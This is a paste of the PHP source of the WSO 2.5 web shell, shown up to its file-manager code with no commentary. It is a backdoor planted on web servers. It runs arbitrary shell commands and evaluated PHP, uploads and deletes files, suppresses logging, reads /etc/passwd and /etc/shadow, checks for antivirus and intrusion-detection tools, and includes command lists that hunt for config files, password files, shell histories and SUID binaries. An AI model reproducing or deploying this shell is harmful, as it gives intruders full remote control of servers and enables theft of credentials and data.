SHOW:
|
|
- or go back to the newest paste.
1 | <?php | |
2 | ||
3 | ||
4 | @ini_set('error_log',NULL); | |
5 | @ini_set('log_errors',0); | |
6 | @ini_set('max_execution_time',0); | |
7 | @set_time_limit(0); | |
8 | @set_magic_quotes_runtime(0); | |
9 | @define('WSO_VERSION', '2.5'); | |
10 | ||
11 | if(get_magic_quotes_gpc()) { | |
12 | function WSOstripslashes($array) { | |
13 | return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); | |
14 | } | |
15 | $_POST = WSOstripslashes($_POST); | |
16 | $_COOKIE = WSOstripslashes($_COOKIE); | |
17 | } | |
18 | ||
19 | function wsoLogin() { | |
20 | die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); | |
21 | } | |
22 | ||
23 | function WSOsetcookie($k, $v) { | |
24 | $_COOKIE[$k] = $v; | |
25 | setcookie($k, $v); | |
26 | } | |
27 | ||
28 | if(!empty($auth_pass)) { | |
29 | if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) | |
30 | WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); | |
31 | ||
32 | if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) | |
33 | wsoLogin(); | |
34 | } | |
35 | ||
36 | if(strtolower(substr(PHP_OS,0,3)) == "win") | |
37 | $os = 'win'; | |
38 | else | |
39 | $os = 'nix'; | |
40 | ||
41 | $safe_mode = @ini_get('safe_mode'); | |
42 | if(!$safe_mode) | |
43 | error_reporting(0); | |
44 | ||
45 | $disable_functions = @ini_get('disable_functions'); | |
46 | $home_cwd = @getcwd(); | |
47 | if(isset($_POST['c'])) | |
48 | @chdir($_POST['c']); | |
49 | $cwd = @getcwd(); | |
50 | if($os == 'win') { | |
51 | $home_cwd = str_replace("\\", "/", $home_cwd); | |
52 | $cwd = str_replace("\\", "/", $cwd); | |
53 | } | |
54 | if($cwd[strlen($cwd)-1] != '/') | |
55 | $cwd .= '/'; | |
56 | ||
57 | if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) | |
58 | $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; | |
59 | ||
60 | if($os == 'win') | |
61 | $aliases = array( | |
62 | "List Directory" => "dir", | |
63 | "Find index.php in current dir" => "dir /s /w /b index.php", | |
64 | "Find *config*.php in current dir" => "dir /s /w /b *config*.php", | |
65 | "Show active connections" => "netstat -an", | |
66 | "Show running services" => "net start", | |
67 | "User accounts" => "net user", | |
68 | "Show computers" => "net view", | |
69 | "ARP Table" => "arp -a", | |
70 | "IP Configuration" => "ipconfig /all" | |
71 | ); | |
72 | else | |
73 | $aliases = array( | |
74 | "List dir" => "ls -lha", | |
75 | "list file attributes on a Linux second extended file system" => "lsattr -va", | |
76 | "show opened ports" => "netstat -an | grep -i listen", | |
77 | "process status" => "ps aux", | |
78 | "Find" => "", | |
79 | "find all suid files" => "find / -type f -perm -04000 -ls", | |
80 | "find suid files in current dir" => "find . -type f -perm -04000 -ls", | |
81 | "find all sgid files" => "find / -type f -perm -02000 -ls", | |
82 | "find sgid files in current dir" => "find . -type f -perm -02000 -ls", | |
83 | "find config.inc.php files" => "find / -type f -name config.inc.php", | |
84 | "find config* files" => "find / -type f -name \"config*\"", | |
85 | "find config* files in current dir" => "find . -type f -name \"config*\"", | |
86 | "find all writable folders and files" => "find / -perm -2 -ls", | |
87 | "find all writable folders and files in current dir" => "find . -perm -2 -ls", | |
88 | "find all service.pwd files" => "find / -type f -name service.pwd", | |
89 | "find service.pwd files in current dir" => "find . -type f -name service.pwd", | |
90 | "find all .htpasswd files" => "find / -type f -name .htpasswd", | |
91 | "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", | |
92 | "find all .bash_history files" => "find / -type f -name .bash_history", | |
93 | "find .bash_history files in current dir" => "find . -type f -name .bash_history", | |
94 | "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", | |
95 | "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", | |
96 | "Locate" => "", | |
97 | "locate httpd.conf files" => "locate httpd.conf", | |
98 | "locate vhosts.conf files" => "locate vhosts.conf", | |
99 | "locate proftpd.conf files" => "locate proftpd.conf", | |
100 | "locate psybnc.conf files" => "locate psybnc.conf", | |
101 | "locate my.conf files" => "locate my.conf", | |
102 | "locate admin.php files" =>"locate admin.php", | |
103 | "locate cfg.php files" => "locate cfg.php", | |
104 | "locate conf.php files" => "locate conf.php", | |
105 | "locate config.dat files" => "locate config.dat", | |
106 | "locate config.php files" => "locate config.php", | |
107 | "locate config.inc files" => "locate config.inc", | |
108 | "locate config.inc.php" => "locate config.inc.php", | |
109 | "locate config.default.php files" => "locate config.default.php", | |
110 | "locate config* files " => "locate config", | |
111 | "locate .conf files"=>"locate '.conf'", | |
112 | "locate .pwd files" => "locate '.pwd'", | |
113 | "locate .sql files" => "locate '.sql'", | |
114 | "locate .htpasswd files" => "locate '.htpasswd'", | |
115 | "locate .bash_history files" => "locate '.bash_history'", | |
116 | "locate .mysql_history files" => "locate '.mysql_history'", | |
117 | "locate .fetchmailrc files" => "locate '.fetchmailrc'", | |
118 | "locate backup files" => "locate backup", | |
119 | "locate dump files" => "locate dump", | |
120 | "locate priv files" => "locate priv" | |
121 | ); | |
122 | ||
123 | function wsoHeader() { | |
124 | if(empty($_POST['charset'])) | |
125 | $_POST['charset'] = $GLOBALS['default_charset']; | |
126 | global $color; | |
127 | if(!$color) $color = 'white'; | |
128 | echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title> | |
129 | <style> | |
130 | body{background-color:#444;color:#e1e1e1;} | |
131 | body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } | |
132 | table.info{ color:#fff;background-color:#222; } | |
133 | span,h1,a{ color: $color !important; } | |
134 | span{ font-weight: bolder; } | |
135 | h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } | |
136 | div.content{ padding: 5px;margin-left:5px;background-color:#333; } | |
137 | a{ text-decoration:none; } | |
138 | a:hover{ text-decoration:underline; } | |
139 | .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } | |
140 | .bigarea{ width:100%;height:300px; } | |
141 | input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } | |
142 | form{ margin:0px; } | |
143 | #toolsTbl{ text-align:center; } | |
144 | .toolsInp{ width: 300px } | |
145 | .main th{text-align:left;background-color:#5e5e5e;} | |
146 | .main tr:hover{background-color:#5e5e5e} | |
147 | .l1{background-color:#444} | |
148 | .l2{background-color:#333} | |
149 | pre{font-family:Courier,Monospace;} | |
150 | </style> | |
151 | <script> | |
152 | var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; | |
153 | var a_ = '" . htmlspecialchars(@$_POST['a']) ."' | |
154 | var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; | |
155 | var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; | |
156 | var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; | |
157 | var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; | |
158 | var d = document; | |
159 | function set(a,c,p1,p2,p3,charset) { | |
160 | if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; | |
161 | if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; | |
162 | if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; | |
163 | if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; | |
164 | if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; | |
165 | if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; | |
166 | } | |
167 | function g(a,c,p1,p2,p3,charset) { | |
168 | set(a,c,p1,p2,p3,charset); | |
169 | d.mf.submit(); | |
170 | } | |
171 | function a(a,c,p1,p2,p3,charset) { | |
172 | set(a,c,p1,p2,p3,charset); | |
173 | var params = 'ajax=true'; | |
174 | for(i=0;i<d.mf.elements.length;i++) | |
175 | params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); | |
176 | sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); | |
177 | } | |
178 | function sr(url, params) { | |
179 | if (window.XMLHttpRequest) | |
180 | req = new XMLHttpRequest(); | |
181 | else if (window.ActiveXObject) | |
182 | req = new ActiveXObject('Microsoft.XMLHTTP'); | |
183 | if (req) { | |
184 | req.onreadystatechange = processReqChange; | |
185 | req.open('POST', url, true); | |
186 | req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); | |
187 | req.send(params); | |
188 | } | |
189 | } | |
190 | function processReqChange() { | |
191 | if( (req.readyState == 4) ) | |
192 | if(req.status == 200) { | |
193 | var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); | |
194 | var arr=reg.exec(req.responseText); | |
195 | eval(arr[2].substr(0, arr[1])); | |
196 | } else alert('Request error!'); | |
197 | } | |
198 | ||
199 | </script> | |
200 | <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> | |
201 | <form method=post name=mf style='display:none;'> | |
202 | <input type=hidden name=a> | |
203 | <input type=hidden name=c> | |
204 | <input type=hidden name=p1> | |
205 | <input type=hidden name=p2> | |
206 | <input type=hidden name=p3> | |
207 | <input type=hidden name=charset> | |
208 | </form>"; | |
209 | $freeSpace = @diskfreespace($GLOBALS['cwd']); | |
210 | $totalSpace = @disk_total_space($GLOBALS['cwd']); | |
211 | $totalSpace = $totalSpace?$totalSpace:1; | |
212 | $release = @php_uname('r'); | |
213 | $kernel = @php_uname('s'); | |
214 | $explink = 'http://exploit-db.com/search/?action=search&filter_description='; | |
215 | if(strpos('Linux', $kernel) !== false) | |
216 | $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); | |
217 | else | |
218 | $explink .= urlencode($kernel . ' ' . substr($release,0,3)); | |
219 | if(!function_exists('posix_getegid')) { | |
220 | $user = @get_current_user(); | |
221 | $uid = @getmyuid(); | |
222 | $gid = @getmygid(); | |
223 | $group = "?"; | |
224 | } else { | |
225 | $uid = @posix_getpwuid(posix_geteuid()); | |
226 | $gid = @posix_getgrgid(posix_getegid()); | |
227 | $user = $uid['name']; | |
228 | $uid = $uid['uid']; | |
229 | $group = $gid['name']; | |
230 | $gid = $gid['gid']; | |
231 | } | |
232 | ||
233 | $cwd_links = ''; | |
234 | $path = explode("/", $GLOBALS['cwd']); | |
235 | $n=count($path); | |
236 | for($i=0; $i<$n-1; $i++) { | |
237 | $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; | |
238 | for($j=0; $j<=$i; $j++) | |
239 | $cwd_links .= $path[$j].'/'; | |
240 | $cwd_links .= "\")'>".$path[$i]."/</a>"; | |
241 | } | |
242 | ||
243 | $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); | |
244 | $opt_charsets = ''; | |
245 | foreach($charsets as $item) | |
246 | $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; | |
247 | ||
248 | $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); | |
249 | if(!empty($GLOBALS['auth_pass'])) | |
250 | $m['Logout'] = 'Logout'; | |
251 | $m['Self remove'] = 'SelfRemove'; | |
252 | $menu = ''; | |
253 | foreach($m as $k => $v) | |
254 | $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; | |
255 | ||
256 | $drives = ""; | |
257 | if($GLOBALS['os'] == 'win') { | |
258 | foreach(range('c','z') as $drive) | |
259 | if(is_dir($drive.':\\')) | |
260 | $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; | |
261 | } | |
262 | echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' | |
263 | . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') | |
264 | . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' | |
265 | . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' | |
266 | . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; | |
267 | } | |
268 | ||
269 | function wsoFooter() { | |
270 | $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; | |
271 | echo " | |
272 | </div> | |
273 | <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> | |
274 | <tr> | |
275 | <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> | |
276 | <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> | |
277 | </tr><tr> | |
278 | <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> | |
279 | <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> | |
280 | </tr><tr> | |
281 | <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> | |
282 | <td><form method='post' ENCTYPE='multipart/form-data'> | |
283 | <input type=hidden name=a value='FilesMAn'> | |
284 | <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> | |
285 | <input type=hidden name=p1 value='uploadFile'> | |
286 | <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> | |
287 | <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> | |
288 | </tr></table></div></body></html>"; | |
289 | } | |
290 | ||
291 | if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { | |
292 | function posix_getpwuid($p) {return false;} } | |
293 | if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { | |
294 | function posix_getgrgid($p) {return false;} } | |
295 | ||
296 | function wsoEx($in) { | |
297 | $out = ''; | |
298 | if (function_exists('exec')) { | |
299 | @exec($in,$out); | |
300 | $out = @join("\n",$out); | |
301 | } elseif (function_exists('passthru')) { | |
302 | ob_start(); | |
303 | @passthru($in); | |
304 | $out = ob_get_clean(); | |
305 | } elseif (function_exists('system')) { | |
306 | ob_start(); | |
307 | @system($in); | |
308 | $out = ob_get_clean(); | |
309 | } elseif (function_exists('shell_exec')) { | |
310 | $out = shell_exec($in); | |
311 | } elseif (is_resource($f = @popen($in,"r"))) { | |
312 | $out = ""; | |
313 | while(!@feof($f)) | |
314 | $out .= fread($f,1024); | |
315 | pclose($f); | |
316 | } | |
317 | return $out; | |
318 | } | |
319 | ||
320 | function wsoViewSize($s) { | |
321 | if($s >= 1073741824) | |
322 | return sprintf('%1.2f', $s / 1073741824 ). ' GB'; | |
323 | elseif($s >= 1048576) | |
324 | return sprintf('%1.2f', $s / 1048576 ) . ' MB'; | |
325 | elseif($s >= 1024) | |
326 | return sprintf('%1.2f', $s / 1024 ) . ' KB'; | |
327 | else | |
328 | return $s . ' B'; | |
329 | } | |
330 | ||
331 | function wsoPerms($p) { | |
332 | if (($p & 0xC000) == 0xC000)$i = 's'; | |
333 | elseif (($p & 0xA000) == 0xA000)$i = 'l'; | |
334 | elseif (($p & 0x8000) == 0x8000)$i = '-'; | |
335 | elseif (($p & 0x6000) == 0x6000)$i = 'b'; | |
336 | elseif (($p & 0x4000) == 0x4000)$i = 'd'; | |
337 | elseif (($p & 0x2000) == 0x2000)$i = 'c'; | |
338 | elseif (($p & 0x1000) == 0x1000)$i = 'p'; | |
339 | else $i = 'u'; | |
340 | $i .= (($p & 0x0100) ? 'r' : '-'); | |
341 | $i .= (($p & 0x0080) ? 'w' : '-'); | |
342 | $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); | |
343 | $i .= (($p & 0x0020) ? 'r' : '-'); | |
344 | $i .= (($p & 0x0010) ? 'w' : '-'); | |
345 | $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); | |
346 | $i .= (($p & 0x0004) ? 'r' : '-'); | |
347 | $i .= (($p & 0x0002) ? 'w' : '-'); | |
348 | $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); | |
349 | return $i; | |
350 | } | |
351 | ||
352 | function wsoPermsColor($f) { | |
353 | if (!@is_readable($f)) | |
354 | return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; | |
355 | elseif (!@is_writable($f)) | |
356 | return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; | |
357 | else | |
358 | return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; | |
359 | } | |
360 | ||
361 | function wsoScandir($dir) { | |
362 | if(function_exists("scandir")) { | |
363 | return scandir($dir); | |
364 | } else { | |
365 | $dh = opendir($dir); | |
366 | while (false !== ($filename = readdir($dh))) | |
367 | $files[] = $filename; | |
368 | return $files; | |
369 | } | |
370 | } | |
371 | ||
372 | function wsoWhich($p) { | |
373 | $path = wsoEx('which ' . $p); | |
374 | if(!empty($path)) | |
375 | return $path; | |
376 | return false; | |
377 | } | |
378 | ||
379 | function actionSecInfo() { | |
380 | wsoHeader(); | |
381 | echo '<h1>Server security information</h1><div class=content>'; | |
382 | function wsoSecParam($n, $v) { | |
383 | $v = trim($v); | |
384 | if($v) { | |
385 | echo '<span>' . $n . ': </span>'; | |
386 | if(strpos($v, "\n") === false) | |
387 | echo $v . '<br>'; | |
388 | else | |
389 | echo '<pre class=ml1>' . $v . '</pre>'; | |
390 | } | |
391 | } | |
392 | ||
393 | wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); | |
394 | if(function_exists('apache_get_modules')) | |
395 | wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); | |
396 | wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); | |
397 | wsoSecParam('Open base dir', @ini_get('open_basedir')); | |
398 | wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); | |
399 | wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); | |
400 | wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); | |
401 | $temp=array(); | |
402 | if(function_exists('mysql_get_client_info')) | |
403 | $temp[] = "MySql (".mysql_get_client_info().")"; | |
404 | if(function_exists('mssql_connect')) | |
405 | $temp[] = "MSSQL"; | |
406 | if(function_exists('pg_connect')) | |
407 | $temp[] = "PostgreSQL"; | |
408 | if(function_exists('oci_connect')) | |
409 | $temp[] = "Oracle"; | |
410 | wsoSecParam('Supported databases', implode(', ', $temp)); | |
411 | echo '<br>'; | |
412 | ||
413 | if($GLOBALS['os'] == 'nix') { | |
414 | wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); | |
415 | wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no'); | |
416 | wsoSecParam('OS version', @file_get_contents('/proc/version')); | |
417 | wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); | |
418 | if(!$GLOBALS['safe_mode']) { | |
419 | $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); | |
420 | $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); | |
421 | $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); | |
422 | echo '<br>'; | |
423 | $temp=array(); | |
424 | foreach ($userful as $item) | |
425 | if(wsoWhich($item)) | |
426 | $temp[] = $item; | |
427 | wsoSecParam('Userful', implode(', ',$temp)); | |
428 | $temp=array(); | |
429 | foreach ($danger as $item) | |
430 | if(wsoWhich($item)) | |
431 | $temp[] = $item; | |
432 | wsoSecParam('Danger', implode(', ',$temp)); | |
433 | $temp=array(); | |
434 | foreach ($downloaders as $item) | |
435 | if(wsoWhich($item)) | |
436 | $temp[] = $item; | |
437 | wsoSecParam('Downloaders', implode(', ',$temp)); | |
438 | echo '<br/>'; | |
439 | wsoSecParam('HDD space', wsoEx('df -h')); | |
440 | wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); | |
441 | echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; | |
442 | if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { | |
443 | $temp = ""; | |
444 | for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { | |
445 | $uid = @posix_getpwuid($_POST['p2']); | |
446 | if ($uid) | |
447 | $temp .= join(':',$uid)."\n"; | |
448 | } | |
449 | echo '<br/>'; | |
450 | wsoSecParam('Users', $temp); | |
451 | } | |
452 | } | |
453 | } else { | |
454 | wsoSecParam('OS Version',wsoEx('ver')); | |
455 | wsoSecParam('Account Settings',wsoEx('net accounts')); | |
456 | wsoSecParam('User Accounts',wsoEx('net user')); | |
457 | } | |
458 | echo '</div>'; | |
459 | wsoFooter(); | |
460 | } | |
461 | ||
462 | function actionPhp() { | |
463 | if(isset($_POST['ajax'])) { | |
464 | WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); | |
465 | ob_start(); | |
466 | eval($_POST['p1']); | |
467 | $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; | |
468 | echo strlen($temp), "\n", $temp; | |
469 | exit; | |
470 | } | |
471 | if(empty($_POST['ajax']) && !empty($_POST['p1'])) | |
472 | WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); | |
473 | ||
474 | wsoHeader(); | |
475 | if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { | |
476 | echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; | |
477 | ob_start(); | |
478 | phpinfo(); | |
479 | $tmp = ob_get_clean(); | |
480 | $tmp = preg_replace(array ( | |
481 | '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', | |
482 | '!td, th {(.*)}!msiU', | |
483 | '!<img[^>]+>!msiU', | |
484 | ), array ( | |
485 | '', | |
486 | '.e, .v, .h, .h th {$1}', | |
487 | '' | |
488 | ), $tmp); | |
489 | echo str_replace('<h1','<h2', $tmp) .'</div><br>'; | |
490 | } | |
491 | echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; | |
492 | echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; | |
493 | if(!empty($_POST['p1'])) { | |
494 | ob_start(); | |
495 | eval($_POST['p1']); | |
496 | echo htmlspecialchars(ob_get_clean()); | |
497 | } | |
498 | echo '</pre></div>'; | |
499 | wsoFooter(); | |
500 | } | |
501 | ||
502 | function actionFilesMan() { | |
503 | if (!empty ($_COOKIE['f'])) | |
504 | $_COOKIE['f'] = @unserialize($_COOKIE['f']); | |
505 | ||
506 | if(!empty($_POST['p1'])) { | |
507 | switch($_POST['p1']) { | |
508 | case 'uploadFile': | |
509 | if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) | |
510 | echo "Can't upload file!"; | |
511 | break; | |
512 | case 'mkdir': | |
513 | if(!@mkdir($_POST['p2'])) | |
514 | echo "Can't create new dir"; | |
515 | break; | |
516 | case 'delete': | |
517 | function deleteDir($path) { | |
518 | $path = (substr($path,-1)=='/') ? $path:$path.'/'; | |
519 | $dh = opendir($path); | |
520 | while ( ($item = readdir($dh) ) !== false) { | |
521 | $item = $path.$item; | |
522 | if ( (basename($item) == "..") || (basename($item) == ".") ) | |
523 | continue; | |
524 | $type = filetype($item); | |
525 | if ($type == "dir") | |
526 | deleteDir($item); | |
527 | else | |
528 | @unlink($item); | |
529 | } | |
530 | closedir($dh); | |
531 | @rmdir($path); | |
532 | } | |
533 | if(is_array(@$_POST['f'])) | |
534 | foreach($_POST['f'] as $f) { | |
535 | if($f == '..') | |
536 | continue; | |
537 | $f = urldecode($f); | |
538 | if(is_dir($f)) | |
539 | deleteDir($f); | |
540 | else | |
541 | @unlink($f); | |
542 | } | |
543 | break; | |
544 | case 'paste': | |
545 | if($_COOKIE['act'] == 'copy') { | |
546 | function copy_paste($c,$s,$d){ | |
547 | if(is_dir($c.$s)){ | |
548 | mkdir($d.$s); | |
549 | $h = @opendir($c.$s); | |
550 | while (($f = @readdir($h)) !== false) | |
551 | if (($f != ".") and ($f != "..")) | |
552 | copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
553 | } elseif(is_file($c.$s)) | |
554 | @copy($c.$s, $d.$s); | |
555 | } | |
556 | foreach($_COOKIE['f'] as $f) | |
557 | copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); | |
558 | } elseif($_COOKIE['act'] == 'move') { | |
559 | function move_paste($c,$s,$d){ | |
560 | if(is_dir($c.$s)){ | |
561 | mkdir($d.$s); | |
562 | $h = @opendir($c.$s); | |
563 | while (($f = @readdir($h)) !== false) | |
564 | if (($f != ".") and ($f != "..")) | |
565 | copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
566 | } elseif(@is_file($c.$s)) | |
567 | @copy($c.$s, $d.$s); | |
568 | } | |
569 | foreach($_COOKIE['f'] as $f) | |
570 | @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); | |
571 | } elseif($_COOKIE['act'] == 'zip') { | |
572 | if(class_exists('ZipArchive')) { | |
573 | $zip = new ZipArchive(); | |
574 | if ($zip->open($_POST['p2'], 1)) { | |
575 | chdir($_COOKIE['c']); | |
576 | foreach($_COOKIE['f'] as $f) { | |
577 | if($f == '..') | |
578 | continue; | |
579 | if(@is_file($_COOKIE['c'].$f)) | |
580 | $zip->addFile($_COOKIE['c'].$f, $f); | |
581 | elseif(@is_dir($_COOKIE['c'].$f)) { | |
582 | $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); | |
583 | foreach ($iterator as $key=>$value) { | |
584 | $zip->addFile(realpath($key), $key); | |
585 | } | |
586 | } | |
587 | } | |
588 | chdir($GLOBALS['cwd']); | |
589 | $zip->close(); | |
590 | } | |
591 | } | |
